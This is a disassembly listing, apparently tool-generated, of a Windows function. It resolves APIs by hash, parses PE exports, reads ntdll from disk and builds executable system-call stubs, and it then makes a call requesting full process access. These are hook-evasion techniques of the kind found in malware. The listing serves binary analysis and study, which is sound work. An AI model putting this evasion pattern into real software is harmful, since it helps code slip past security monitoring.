Function at 0x10169170
Capabilities:
Enumerate pe sections
Enumerate process modules
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101bea31
mov eax, dword fs:[0]
push eax
sub esp, 0xdb8
mov eax, dword [0x10210050]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xd30], edx
mov edx, dword [0x102b2fac]
mov esi, dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, dword [sym.imp.KERNEL32.dll_Module32Next]
test dl, 1
jne 0x101699a3
or edx, 1
mov dword [0x102b2fac], edx
mov dword [ebp - 4], 0
mov eax, dword [0x102b2fbc]
test al, 1
jne 0x10169246
or eax, 1
mov dword [0x102b2fbc], eax
mov byte [ebp - 4], 1
lea eax, [ebp - 0xd59]
push eax
lea ecx, [ebp - 0xd42]
mov dword [0x102b2fc8], 0
push ecx
lea edx, [ebp - 0xd48]
mov dword [ebp - 0xd48], 0x25ff
xorps xmm0, xmm0
mov word [ebp - 0xd44], 0
push edx
mov ecx, 0x102b2fc0
movq qword [0x102b2fc0], xmm0
call fcn.10150a40
push 0x101c1830
call fcn.10170081
add esp, 4
mov byte [ebp - 4], 0
mov edx, dword [0x102b2fac]
mov eax, dword [0x102b2fbc]
test al, 2
jne 0x101692d3
or eax, 2
mov dword [0x102b2fbc], eax
mov byte [ebp - 4], 2
lea eax, [ebp - 0xd5b]
push eax
lea ecx, [ebp - 0xd49]
mov dword [0x102b2f94], 0
push ecx
lea edx, [ebp - 0xd58]
mov dword [ebp - 0xd58], 0xb8
xorps xmm0, xmm0
mov dword [ebp - 0xd54], 0xba00
push edx
mov ecx, 0x102b2f8c
movq qword [0x102b2f8c], xmm0
mov dword [ebp - 0xd50], 0xd2ff0000
mov word [ebp - 0xd4c], 0xc2
mov byte [ebp - 0xd4a], 0
call fcn.10150a40
push 0x101c1820
call fcn.10170081
add esp, 4
mov byte [ebp - 4], 0
mov edx, dword [0x102b2fac]
mov ecx, dword [0x102b22d8]
test ecx, ecx
jne 0x10169994
mov eax, dword [0x102b2fc4]
sub eax, dword [0x102b2fc0]
mov dword [ebp - 0x14], eax
mov eax, dword [0x102b2fcc]
test eax, eax
jne 0x101694f4
push eax
push 8
mov dword [ebp - 0xd24], 0x224
call esi
mov esi, eax
lea eax, [ebp - 0xd24]
push eax
push esi
mov dword [ebp - 0xd28], esi
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x10169404
lea eax, [ebp - 0xd24]
push eax
push esi
call edi
test eax, eax
je 0x10169404
nop dword [eax + eax]
lea eax, [ebp - 0xd04]
push eax
lea ecx, [ebp - 0x90]
call fcn.100400e0
mov byte [ebp - 4], 3
lea eax, [ebp - 0xd78]
push eax
lea ecx, [ebp - 0x90]
call fcn.10082650
lea ecx, [ebp - 0x90]
mov edi, dword [eax]
lea eax, [ebp - 0xd70]
push eax
call fcn.10082630
lea ecx, [ebp - 0x90]
mov esi, dword [eax]
lea eax, [ebp - 0xda4]
push eax
call fcn.10082650
push edi
push esi
mov edx, fcn.10180cc4
lea ecx, [ebp - 0xd6c]
push dword [eax]
call fcn.100ba480
add esp, 0xc
lea ecx, [ebp - 0x90]
call fcn.10045600
mov edx, 0x811c9dc5
mov ecx, eax
call fcn.100644d0
cmp eax, 0xa62a3b3b
je 0x1016941f
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x90]
call fcn.100403e0
mov byte [ebp - 4], 0
lea eax, [ebp - 0x90]
mov dword [ebp - 0xd2c], eax
mov byte [ebp - 4], 0
lea eax, [ebp - 0xd24]
mov esi, dword [ebp - 0xd28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x10169340
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call eax
xor edi, edi
mov eax, 0x5a4d
cmp word [edi], ax
je 0x10169457
xor eax, eax
jmp 0x101694e3
push dword [ebp - 0xd28]
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
mov edi, dword [ebp - 0xd08]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x90]
call fcn.100403e0
mov byte [ebp - 4], 0
lea eax, [ebp - 0x90]
mov dword [ebp - 0xd2c], eax
mov byte [ebp - 4], 0
jmp 0x1016940e
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi], 0x4550
je 0x10169467
xor eax, eax
jmp 0x101694e3
mov ecx, dword [eax + edi + 0x78]
xor esi, esi
mov eax, dword [ecx + edi + 0x20]
add ecx, edi
add eax, edi
mov dword [ebp - 0xd28], ecx
mov dword [ebp - 0xd40], eax
mov dword [ebp - 0x44c], 0xffffffff
cmp dword [ecx + 0x14], esi
jbe 0x101694c1
mov ecx, dword [eax + esi*4]
mov edx, 0x811c9dc5
lea ecx, [ecx + edi]
call fcn.100644d0
mov ecx, dword [ebp - 0xd28]
cmp eax, 0xca67b978
je 0x101694bb
mov eax, dword [ebp - 0xd40]
inc esi
cmp esi, dword [ecx + 0x14]
jb 0x10169490
jmp 0x101694c1
mov dword [ebp - 0x44c], esi
mov esi, dword [ebp - 0x44c]
cmp esi, dword [ecx + 0x14]
jbe 0x101694d0
xor eax, eax
jmp 0x101694e3
mov edx, dword [ecx + 0x24]
mov ecx, dword [ecx + 0x1c]
add edx, edi
add ecx, edi
movzx eax, word [edx + esi*2]
mov eax, dword [ecx + eax*4]
add eax, edi
mov edi, dword [sym.imp.KERNEL32.dll_Module32Next]
mov esi, dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [0x102b2fcc], eax
push 0x40
push 0x3000
lea ecx, [ebp - 0x14]
push ecx
push 0
push 0x102b22e0
push 0xffffffffffffffff
call eax
mov eax, dword [0x102b2fc4]
mov ecx, dword [0x102b2fc0]
sub eax, ecx
mov dword [ebp - 0x14], eax
mov eax, dword [0x102b1f10]
test eax, eax
jne 0x10169724
mov edx, 0x811c9dc5
mov ecx, str.Wow64Transition
call fcn.100644d0
mov edx, 0x811c9dc5
mov dword [ebp - 0xd40], eax
mov ecx, str.win32u.dll
call fcn.100644d0
push 0
push 8
mov dword [ebp - 0x44c], eax
mov dword [ebp - 0xb00], 0x224
call esi
mov esi, eax
lea eax, [ebp - 0xb00]
push eax
push esi
mov dword [ebp - 0xd28], esi
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x10169641
lea eax, [ebp - 0xb00]
push eax
push esi
call edi
test eax, eax
je 0x10169641
lea eax, [ebp - 0xae0]
push eax
lea ecx, [ebp - 0x78]
call fcn.100400e0
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0xda8]
push eax
lea ecx, [ebp - 0x78]
call fcn.10082650
lea ecx, [ebp - 0x78]
mov edi, dword [eax]
lea eax, [ebp - 0xda0]
push eax
call fcn.10082630
lea ecx, [ebp - 0x78]
mov esi, dword [eax]
lea eax, [ebp - 0xd9c]
push eax
call fcn.10082650
push edi
push esi
mov edx, fcn.10180cc4
lea ecx, [ebp - 0xd68]
push dword [eax]
call fcn.100ba480
add esp, 0xc
lea ecx, [ebp - 0x78]
call fcn.10045600
mov edx, 0x811c9dc5
mov ecx, eax
call fcn.100644d0
cmp eax, dword [ebp - 0x44c]
je 0x1016965b
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x78]
call fcn.100403e0
mov byte [ebp - 4], 0
lea eax, [ebp - 0x78]
mov dword [ebp - 0xd2c], eax
mov byte [ebp - 4], 0
lea eax, [ebp - 0xb00]
mov esi, dword [ebp - 0xd28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x10169591
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov eax, 0x5a4d
cmp word [edi], ax
je 0x1016968c
xor eax, eax
jmp 0x10169719
push dword [ebp - 0xd28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0xae4]
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x78]
call fcn.100403e0
mov byte [ebp - 4], 0
lea eax, [ebp - 0x78]
mov dword [ebp - 0xd2c], eax
mov byte [ebp - 4], 0
jmp 0x1016964a
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi], 0x4550
je 0x1016969c
xor eax, eax
jmp 0x10169719
mov ecx, dword [eax + edi + 0x78]
xor esi, esi
mov eax, dword [ecx + edi + 0x20]
add ecx, edi
add eax, edi
mov dword [ebp - 0xd28], ecx
mov dword [ebp - 0xd3c], eax
mov dword [ebp - 0x44c], 0xffffffff
cmp dword [ecx + 0x14], esi
jbe 0x101696f7
mov ecx, dword [eax + esi*4]
mov edx, 0x811c9dc5
lea ecx, [ecx + edi]
call fcn.100644d0
mov ecx, dword [ebp - 0xd28]
cmp eax, dword [ebp - 0xd40]
je 0x101696f1
mov eax, dword [ebp - 0xd3c]
inc esi
cmp esi, dword [ecx + 0x14]
jb 0x101696c5
jmp 0x101696f7
mov dword [ebp - 0x44c], esi
mov esi, dword [ebp - 0x44c]
cmp esi, dword [ecx + 0x14]
jbe 0x10169706
xor eax, eax
jmp 0x10169719
mov edx, dword [ecx + 0x24]
mov ecx, dword [ecx + 0x1c]
add edx, edi
add ecx, edi
movzx eax, word [edx + esi*2]
mov eax, dword [ecx + eax*4]
add eax, edi
mov ecx, dword [0x102b2fc0]
mov dword [0x102b1f10], eax
mov dword [ecx + 2], eax
push dword [ebp - 0x14]
push dword [0x102b2fc0]
push dword [0x102b22e0]
call fcn.10171890
mov eax, dword [0x102b2f90]
add esp, 0xc
sub eax, dword [0x102b2f8c]
mov dword [ebp - 0x14], eax
mov eax, dword [0x102b2fcc]
mov dword [ebp - 0x448], 0
test eax, eax
jne 0x1016993b
push eax
push 8
mov dword [ebp - 0x8dc], 0x224
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x8dc]
push eax
push esi
mov dword [ebp - 0xd28], esi
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x1016985f
lea eax, [ebp - 0x8dc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
je 0x1016985f
nop word [eax + eax]
lea eax, [ebp - 0x8bc]
push eax
lea ecx, [ebp - 0x60]
call fcn.100400e0
mov byte [ebp - 4], 0x11
lea eax, [ebp - 0xd98]
push eax
lea ecx, [ebp - 0x60]
call fcn.10082650
lea ecx, [ebp - 0x60]
mov edi, dword [eax]
lea eax, [ebp - 0xd94]
push eax
call fcn.10082630
lea ecx, [ebp - 0x60]
mov esi, dword [eax]
lea eax, [ebp - 0xd90]
push eax
call fcn.10082650
push edi
push esi
mov edx, fcn.10180cc4
lea ecx, [ebp - 0xd64]
push dword [eax]
call fcn.100ba480
add esp, 0xc
lea ecx, [ebp - 0x60]
call fcn.10045600
mov edx, 0x811c9dc5
mov ecx, eax
call fcn.100644d0
cmp eax, 0xa62a3b3b
je 0x10169879
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x60]
call fcn.100403e0
mov byte [ebp - 4], 0
lea eax, [ebp - 0x60]
mov dword [ebp - 0xd2c], eax
mov byte [ebp - 4], 0
lea eax, [ebp - 0x8dc]
mov esi, dword [ebp - 0xd28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x101697b0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov eax, 0x5a4d
cmp word [edi], ax
je 0x101698aa
xor eax, eax
jmp 0x10169936
push dword [ebp - 0xd28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0x8c0]
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x60]
call fcn.100403e0
mov byte [ebp - 4], 0
lea eax, [ebp - 0x60]
mov dword [ebp - 0xd2c], eax
mov byte [ebp - 4], 0
jmp 0x10169868
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi], 0x4550
je 0x101698ba
xor eax, eax
jmp 0x10169936
mov ecx, dword [eax + edi + 0x78]
xor esi, esi
mov eax, dword [ecx + edi + 0x20]
add ecx, edi
add eax, edi
mov dword [ebp - 0xd28], ecx
mov dword [ebp - 0xd40], eax
mov dword [ebp - 0x44c], 0xffffffff
cmp dword [ecx + 0x14], esi
jbe 0x10169914
mov ecx, dword [eax + esi*4]
mov edx, 0x811c9dc5
lea ecx, [ecx + edi]
call fcn.100644d0
mov ecx, dword [ebp - 0xd28]
cmp eax, 0xca67b978
je 0x1016990e
mov eax, dword [ebp - 0xd40]
inc esi
cmp esi, dword [ecx + 0x14]
jb 0x101698e3
jmp 0x10169914
mov dword [ebp - 0x44c], esi
mov esi, dword [ebp - 0x44c]
cmp esi, dword [ecx + 0x14]
jbe 0x10169923
xor eax, eax
jmp 0x10169936
mov edx, dword [ecx + 0x24]
mov ecx, dword [ecx + 0x1c]
add edx, edi
add ecx, edi
movzx eax, word [edx + esi*2]
mov eax, dword [ecx + eax*4]
add eax, edi
mov dword [0x102b2fcc], eax
push 0x40
push 0x3000
lea ecx, [ebp - 0x14]
push ecx
push 0
lea ecx, [ebp - 0x448]
push ecx
push 0xffffffffffffffff
call eax
mov eax, dword [0x102b2f90]
mov ecx, dword [0x102b2f8c]
sub eax, ecx
mov dword [ebp - 0x14], eax
mov eax, dword [0x102b22e0]
mov dword [ecx + 6], eax
push dword [ebp - 0x14]
push dword [0x102b2f8c]
push dword [ebp - 0x448]
call fcn.10171890
mov ecx, dword [ebp - 0x448]
add esp, 0xc
mov edx, dword [0x102b2fac]
mov dword [0x102b22d8], ecx
mov dword [0x102b2fd8], ecx
mov dword [ebp - 4], 0xffffffff
jmp 0x101699a9
mov ecx, dword [0x102b2fd8]
mov edi, dword [sym.imp.WINTRUST.dll_WinVerifyTrust]
test dl, 2
jne 0x10169fc7
or edx, 2
mov dword [0x102b2fac], edx
mov dword [ebp - 4], 0x18
xorps xmm0, xmm0
push str.C:WindowsSysWOW64_ntdll.dll
lea ecx, [ebp - 0xa8]
movlpd qword [ebp - 0xd80], xmm0
call fcn.100400e0
mov byte [ebp - 4], 0x19
lea eax, [ebp - 0xd84]
push eax
lea ecx, [ebp - 0xa8]
call fcn.10082630
lea ecx, [ebp - 0xa8]
mov esi, dword [eax]
lea eax, [ebp - 0xd88]
push eax
call fcn.10082650
lea ecx, [ebp - 0xd5a]
push ecx
push esi
push dword [eax]
lea ecx, [ebp - 0xc0]
call fcn.10150ca0
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0x460], 0x10
call fcn.101253b0
mov dword [ebp - 0x45c], eax
lea eax, [ebp - 0x460]
mov dword [ebp - 0x47c], eax
lea eax, [ebp - 0x494]
push eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x458], 0
push eax
push 0
mov dword [ebp - 0x454], 0
mov dword [ebp - 0x24], 0xaac56b
mov dword [ebp - 0x20], 0x11d0cd44
mov dword [ebp - 0x1c], 0xc000c28c
mov dword [ebp - 0x18], 0xee95c24f
mov dword [ebp - 0x46c], 0
mov dword [ebp - 0x464], 0
mov dword [ebp - 0x494], 0x34
mov dword [ebp - 0x490], 0
mov dword [ebp - 0x48c], 0
mov dword [ebp - 0x488], 2
mov dword [ebp - 0x484], 0
mov dword [ebp - 0x480], 1
mov dword [ebp - 0x478], 1
mov dword [ebp - 0x474], 0
mov dword [ebp - 0x470], 0
mov dword [ebp - 0x468], 0
call edi
mov esi, eax
mov dword [ebp - 0x478], 2
lea eax, [ebp - 0x494]
push eax
lea eax, [ebp - 0x24]
push eax
push 0
call edi
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0xc0]
call fcn.10082670
mov byte [ebp - 4], 0x19
lea eax, [ebp - 0xc0]
mov dword [ebp - 0xd2c], eax
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0xa8]
call fcn.100403e0
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0xa8]
mov dword [ebp - 0xd60], eax
mov byte [ebp - 4], 0x18
test esi, esi
jne 0x10169fa2
push 0xb8
lea eax, [ebp - 0x178]
push esi
push eax
call fcn.10171fe0
add esp, 0xc
lea ecx, [ebp - 0x178]
push 1
push 0x40
push 0x24
push str.C:WindowsSysWOW64_ntdll.dll
call fcn.1004d850
mov byte [ebp - 4], 0x21
lea eax, [ebp - 0xdc4]
push eax
lea ecx, [ebp - 0x178]
call fcn.1013fbd0
push 0
push 0
push 0
mov esi, dword [eax + 8]
lea ecx, [ebp - 0x178]
add esi, dword [eax]
call fcn.1013fcf0
xorps xmm0, xmm0
mov dword [ebp - 0x28], 0
movq qword [ebp - 0x30], xmm0
lea ecx, [ebp - 0x30]
push esi
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
call fcn.10150ee0
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x178]
push 0
push esi
push dword [ebp - 0x30]
call fcn.1013fe40
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
jne 0x10169f4c
mov esi, dword [ebp - 0x30]
mov eax, 0x5a4d
mov dword [ebp - 0xd3c], esi
cmp word [esi], ax
je 0x10169c3a
xor eax, eax
mov esi, dword [eax + 1]
movzx eax, word [eax + 0xd]
mov word [ebp - 0xd7c], ax
jmp 0x10169f52
mov edx, dword [esi + 0x3c]
add edx, esi
mov dword [ebp - 0xd38], edx
cmp dword [edx], 0x4550
je 0x10169c62
xor eax, eax
mov esi, dword [eax + 1]
movzx eax, word [eax + 0xd]
mov word [ebp - 0xd7c], ax
jmp 0x10169f52
mov edi, dword [edx + 0x78]
test edi, edi
je 0x10169cbc
movzx ecx, word [edx + 0x14]
add edx, 0x18
mov eax, dword [ebp - 0xd38]
add ecx, edx
xor edx, edx
movzx eax, word [eax + 6]
mov dword [ebp - 0xd28], eax
test eax, eax
je 0x10169cac
mov esi, dword [ecx + 0xc]
cmp edi, esi
jb 0x10169c9e
mov eax, dword [ecx + 8]
add eax, esi
cmp edi, eax
jb 0x10169ca6
mov eax, dword [ebp - 0xd28]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x10169c88
mov esi, dword [ebp - 0xd3c]
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
mov edx, dword [ebp - 0xd38]
add eax, edi
jmp 0x10169cbe
mov eax, edi
mov edi, dword [eax + esi + 0x20]
add eax, esi
mov dword [ebp - 0xd40], eax
test edi, edi
je 0x10169d1b
movzx ecx, word [edx + 0x14]
xor esi, esi
movzx eax, word [edx + 6]
add ecx, 0x18
add ecx, edx
mov dword [ebp - 0xd28], eax
test eax, eax
je 0x10169d0b
mov edx, dword [ecx + 0xc]
cmp edi, edx
jb 0x10169cfd
mov eax, dword [ecx + 8]
add eax, edx
cmp edi, eax
jb 0x10169d05
mov eax, dword [ebp - 0xd28]
inc esi
add ecx, 0x28
cmp esi, eax
jb 0x10169ce7
mov edx, dword [ebp - 0xd38]
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
mov esi, dword [ebp - 0xd3c]
add eax, edi
jmp 0x10169d1d
mov eax, edi
mov ecx, dword [ebp - 0xd40]
add eax, esi
xor esi, esi
mov dword [ebp - 0xd2c], eax
mov dword [ebp - 0x44c], 0xffffffff
mov dword [ebp - 0xd28], esi
cmp dword [ecx + 0x14], esi
jbe 0x10169dd9
mov edi, dword [eax + esi*4]
test edi, edi
je 0x10169d94
movzx ecx, word [edx + 0x14]
xor esi, esi
movzx eax, word [edx + 6]
add ecx, 0x18
add ecx, edx
mov dword [ebp - 0xd60], eax
test eax, eax
je 0x10169d84
mov edx, dword [ecx + 0xc]
cmp edi, edx
jb 0x10169d7c
mov eax, dword [ecx + 8]
add eax, edx
cmp edi, eax
jb 0x10169d84
mov eax, dword [ebp - 0xd60]
inc esi
add ecx, 0x28
cmp esi, eax
jb 0x10169d66
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
mov esi, dword [ebp - 0xd28]
add eax, edi
jmp 0x10169d96
xor eax, eax
mov ecx, dword [ebp - 0xd3c]
mov edx, 0x811c9dc5
add ecx, eax
call fcn.100644d0
cmp eax, 0xed0594da
je 0x10169dd3
mov eax, dword [ebp - 0xd40]
inc esi
mov edx, dword [ebp - 0xd38]
mov dword [ebp - 0xd28], esi
cmp esi, dword [eax + 0x14]
mov eax, dword [ebp - 0xd2c]
jb 0x10169d46
jmp 0x10169dd9
mov dword [ebp - 0x44c], esi
mov eax, dword [ebp - 0xd40]
mov ecx, dword [ebp - 0x44c]
cmp ecx, dword [eax + 0x14]
jbe 0x10169dff
xor eax, eax
mov esi, dword [eax + 1]
movzx eax, word [eax + 0xd]
mov word [ebp - 0xd7c], ax
jmp 0x10169f52
mov edi, dword [eax + 0x24]
test edi, edi
je 0x10169e4d
mov esi, dword [ebp - 0xd38]
xor edx, edx
movzx eax, word [esi + 0x14]
lea ecx, [esi + 0x18]
add ecx, eax
movzx eax, word [esi + 6]
mov dword [ebp - 0xd2c], eax
test eax, eax
je 0x10169e43
mov esi, dword [ecx + 0xc]
cmp edi, esi
jb 0x10169e3b
mov eax, dword [ecx + 8]
add eax, esi
cmp edi, eax
jb 0x10169e43
mov eax, dword [ebp - 0xd2c]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x10169e25
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
add eax, edi
jmp 0x10169e4f
mov eax, edi
mov ecx, dword [ebp - 0xd3c]
lea esi, [eax + ecx]
mov eax, dword [ebp - 0xd40]
mov dword [ebp - 0xd60], esi
mov edi, dword [eax + 0x1c]
test edi, edi
je 0x10169ec4
mov ecx, dword [ebp - 0xd38]
xor edx, edx
movzx eax, word [ecx + 0x14]
add ecx, 0x18
add ecx, eax
mov eax, dword [ebp - 0xd38]
movzx eax, word [eax + 6]
mov dword [ebp - 0xd2c], eax
test eax, eax
je 0x10169eb4
mov esi, dword [ecx + 0xc]
cmp edi, esi
jb 0x10169ea6
mov eax, dword [ecx + 8]
add eax, esi
cmp edi, eax
jb 0x10169eae
mov eax, dword [ebp - 0xd2c]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x10169e90
mov esi, dword [ebp - 0xd60]
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
mov ecx, dword [ebp - 0xd3c]
add eax, edi
jmp 0x10169ec6
mov eax, edi
add ecx, eax
mov eax, dword [ebp - 0x44c]
movzx eax, word [esi + eax*2]
mov edi, dword [ecx + eax*4]
test edi, edi
je 0x10169f34
mov esi, dword [ebp - 0xd38]
xor edx, edx
movzx eax, word [esi + 0x14]
lea ecx, [esi + 0x18]
add ecx, eax
movzx eax, word [esi + 6]
mov dword [ebp - 0xd2c], eax
test eax, eax
je 0x10169f16
mov esi, dword [ecx + 0xc]
cmp edi, esi
jb 0x10169f0e
mov eax, dword [ecx + 8]
add eax, esi
cmp edi, eax
jb 0x10169f16
mov eax, dword [ebp - 0xd2c]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x10169ef8
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
add eax, edi
add eax, dword [ebp - 0xd3c]
mov esi, dword [eax + 1]
movzx eax, word [eax + 0xd]
mov word [ebp - 0xd7c], ax
jmp 0x10169f52
mov eax, edi
add eax, dword [ebp - 0xd3c]
mov esi, dword [eax + 1]
movzx eax, word [eax + 0xd]
mov word [ebp - 0xd7c], ax
jmp 0x10169f52
mov esi, dword [ebp - 0xd80]
mov edi, dword [ebp - 0xd7c]
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x30]
call fcn.100583a0
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x108]
call fcn.10043d80
lea eax, [ebp - 0x108]
mov dword [ebp - method.std::basic_ios_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov dword [ebp - 0xd2c], eax
mov byte [ebp - 4], 0x18
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.1016e78d
add esp, 4
jmp 0x10169fae
mov edi, dword [ebp - 0xd7c]
mov esi, dword [ebp - 0xd80]
mov dword [0x102b2fdc], esi
mov dword [0x102b2fe0], edi
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [0x102b2fd8]
mov eax, dword [ecx + 6]
mov eax, dword [eax + 2]
mov dword [ebp - 0xd40], eax
mov eax, dword [0x102b1f10]
test eax, eax
jne 0x1016a1ff
mov edx, 0x811c9dc5
mov ecx, str.Wow64Transition
call fcn.100644d0
mov edx, 0x811c9dc5
mov dword [ebp - 0xd60], eax
mov ecx, str.win32u.dll
call fcn.100644d0
push 0
push 8
mov dword [ebp - 0xd2c], eax
mov dword [ebp - 0x6b8], 0x224
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x6b8]
push eax
push esi
mov dword [ebp - 0xd28], esi
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x1016a10e
lea eax, [ebp - 0x6b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
je 0x1016a10e
lea eax, [ebp - 0x698]
push eax
lea ecx, [ebp - 0x48]
call fcn.100400e0
mov dword [ebp - 4], 0x24
lea eax, [ebp - 0xd3c]
push eax
lea ecx, [ebp - 0x48]
call fcn.10082650
lea ecx, [ebp - 0x48]
mov edi, dword [eax]
lea eax, [ebp - 0xd38]
push eax
call fcn.10082630
lea ecx, [ebp - 0x48]
mov esi, dword [eax]
lea eax, [ebp - 0xd8c]
push eax
call fcn.10082650
push edi
push esi
mov edx, fcn.10180cc4
lea ecx, [ebp - 0xd7c]
push dword [eax]
call fcn.100ba480
add esp, 0xc
lea ecx, [ebp - 0x48]
call fcn.10045600
mov edx, 0x811c9dc5
mov ecx, eax
call fcn.100644d0
cmp eax, dword [ebp - 0xd2c]
je 0x1016a128
mov dword [ebp - 4], 0x28
lea ecx, [ebp - 0x48]
call fcn.100403e0
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x48]
mov dword [ebp - 0x44c], eax
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x6b8]
mov esi, dword [ebp - 0xd28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x1016a052
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov eax, 0x5a4d
cmp word [edi], ax
je 0x1016a162
xor eax, eax
jmp 0x1016a1f4
push dword [ebp - 0xd28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0x69c]
mov dword [ebp - 4], 0x25
lea ecx, [ebp - 0x48]
call fcn.100403e0
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x48]
mov dword [ebp - 0xd2c], eax
mov dword [ebp - 4], 0xffffffff
jmp 0x1016a117
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi], 0x4550
je 0x1016a175
xor eax, eax
jmp 0x1016a1f4
mov ecx, dword [eax + edi + 0x78]
xor esi, esi
mov eax, dword [ecx + edi + 0x20]
add ecx, edi
add eax, edi
mov dword [ebp - 0xd28], ecx
mov dword [ebp - 0xd2c], eax
mov dword [ebp - 0x44c], 0xffffffff
cmp dword [ecx + 0x14], esi
jbe 0x1016a1d2
nop
mov ecx, dword [eax + esi*4]
mov edx, 0x811c9dc5
lea ecx, [ecx + edi]
call fcn.100644d0
mov ecx, dword [ebp - 0xd28]
cmp eax, dword [ebp - 0xd60]
je 0x1016a1cc
mov eax, dword [ebp - 0xd2c]
inc esi
cmp esi, dword [ecx + 0x14]
jb 0x1016a1a0
jmp 0x1016a1d2
mov dword [ebp - 0x44c], esi
mov esi, dword [ebp - 0x44c]
cmp esi, dword [ecx + 0x14]
jbe 0x1016a1e1
xor eax, eax
jmp 0x1016a1f4
mov edx, dword [ecx + 0x24]
mov ecx, dword [ecx + 0x1c]
add edx, edi
add ecx, edi
movzx eax, word [edx + esi*2]
mov eax, dword [ecx + eax*4]
add eax, edi
mov ecx, dword [0x102b2fd8]
mov dword [0x102b1f10], eax
cmp dword [ebp - 0xd40], eax
je 0x1016a20b
xor ecx, ecx
jmp 0x1016a21d
mov eax, dword [0x102b2fdc]
mov dword [ecx + 1], eax
movzx eax, word [0x102b2fe0]
mov dword [ecx + 0xd], eax
push 0
push 0
push 0
push 0
push 5
push dword [ebp - 0xd30]
lea eax, [ebp - 0x450]
push 0
push 0xffffffffffffffff
push 0
push 0x1fffff
push eax
call ecx
mov eax, dword [0x102b2fa8]
mov dword [ebp - 0x444], 0x10007
test al, 1
jne 0x1016aa3f
or eax, 1
mov dword [0x102b2fa8], eax
mov dword [ebp - 4], 0x2b
mov ecx, dword [0x102b2fbc]
test cl, 1
jne 0x1016a2e2
or ecx, 1
mov dword [0x102b2fbc], ecx
mov byte [ebp - 4], 0x2c
lea eax, [ebp - 0xd5a]
push eax
lea ecx, [ebp - 0xd42]
mov dword [0x102b2fc8], 0
push ecx
lea edx, [ebp - 0xd48]
mov dword [ebp - 0xd48], 0x25ff
xorps xmm0, xmm0
mov word [ebp - 0xd44], 0
push edx
mov ecx, 0x102b2fc0
movq qword [0x102b2fc0], xmm0
call fcn.10150a40
push 0x101c1830
call fcn.10170081
add esp, 4
mov byte [ebp - 4], 0x2b
mov ecx, dword [0x102b2fbc]
mov eax, dword [0x102b2fa8]
test cl, 2
jne 0x1016a370
or ecx, 2
mov dword [0x102b2fbc], ecx
mov byte [ebp - 4], 0x2d
